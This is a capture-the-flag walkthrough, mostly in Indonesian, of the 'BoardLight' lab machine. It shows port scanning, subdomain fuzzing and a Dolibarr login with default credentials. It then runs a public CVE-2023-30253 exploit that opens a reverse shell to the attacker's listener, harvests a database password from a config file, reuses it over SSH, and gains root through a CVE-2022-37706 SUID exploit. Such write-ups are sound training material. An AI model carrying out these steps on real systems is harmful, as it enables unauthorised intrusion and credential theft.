BoardLight

Information Gathering

Port and Service

map scan report for 10.10.11.11
Host is up (0.031s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.69 seconds

pada website, disini saya mendapatkan informasi domain broad.htb

kemudian saya melakukan subdomain enumeration menggunakan fuff

┌──(kali㉿kali)-[~/ctf/linux/boardlight]
└─$ ffuf -u http://10.10.11.11/ -H "Host: FUZZ.board.htb" -w /seclist/Discovery/DNS/subdomains-top1million-5000.txt -fs 15949

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.11/
 :: Wordlist         : FUZZ: /seclist/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.board.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 15949
________________________________________________

crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 41ms]
:: Progress: [4989/4989] :: Job [1/1] :: 1369 req/sec :: Duration: [0:00:04] :: Errors: 0 ::

disini saya mendapatkan subdomain crm selanjutnya saya akan menambahkannya ke /etc/hosts

10.10.11.11    crm.broad.htb    broad.htb

Initial Access

pada crm.broad.htb menjalanakn aplikasi Dolibarr 17.0.0

disini saya mencoba untuk mencari default credential dari dolibarr dan mendapaktan default credential berikut

admin:admin

disini saya berhasil masuk ke dashboard, selanjutnya saya akan melakukan reverse shell dengan menggunakan cve berikut

• https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253/

                                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/ctf/linux/boardlight]
└─$ python3 exploit.py http://crm.board.htb admin admin 10.10.14.17 1337                                                                                                     
[*] Trying authentication...
[**] Login: admin
[**] Password: admin
[*] Trying created site...
[*] Trying created page...
[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection

┌──(kali㉿kali)-[~/ctf/linux/boardlight]
└─$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.11] 47858
bash: cannot set terminal process group (836): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ 

disini saya berhasil melakukan reverse shell.

Move to larissa

disini saya mencari configuration file dari dolibarr untuk memeriksa apakah ada password atau tidak, berdasarkan linkdibawah ini file configurasi tersebut berada pada con/conf.php

• https://wiki.dolibarr.org/index.php?title=Configuration_file

www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat conf.php
cat conf.php
<?php
[--SNIP--]
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
[--SNIP--]

dari file configurasi tersebut saya mendapatkan password, selanjutnya saya memeriksa user yang tersedia pada server tersebut untuk mencoba login ssh menggunakan password tersebut

www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat /etc/passwd | grep home
<.board.htb/htdocs/conf$ cat /etc/passwd | grep home  
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
larissa:x:1000:1000:larissa,,,:/home/larissa:/bin/bash
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ 

salah satu user yang tersedia adalah larissa, disini saya mencoba untuk login ssh sebagai larissa dengan password tersebut

┌──(kali㉿kali)-[~/ctf/linux/boardlight]
└─$ ssh [email protected]
The authenticity of host 'board.htb (10.10.11.11)' can't be established.
ED25519 key fingerprint is SHA256:xngtcDPqg6MrK72I6lSp/cKgP2kwzG6rx2rlahvu/v0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'board.htb' (ED25519) to the list of known hosts.
[email protected]'s password: 

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

larissa@boardlight:~$

berhasil masuk sebagai larissa

Privilege Escalation to root

disini saya menjalankan winpeas dan menemukan enlightenment_sys yang rentan terhadap CVE-2022-37706

-rwsr-xr-x 1 root root 27K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys  --->  Before_0.25.4_(CVE-2022-37706)
-rwsr-xr-x 1 root root 15K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd  --->  Before_0.25.4_(CVE-2022-37706)
-rwsr-xr-x 1 root root 15K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight  --->  Before_0.25.4_(CVE-2022-37706)

dengan menggunakan exploit berikut ini saya berhasil mendapatkan root user

• https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/blob/main/exploit.sh

larissa@boardlight:~$ bash exploit.sh 
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(larissa)
# cat /root/root.txt
2bdfe2b1309xxxxxxxxxxxxxxxxxxxxxx
#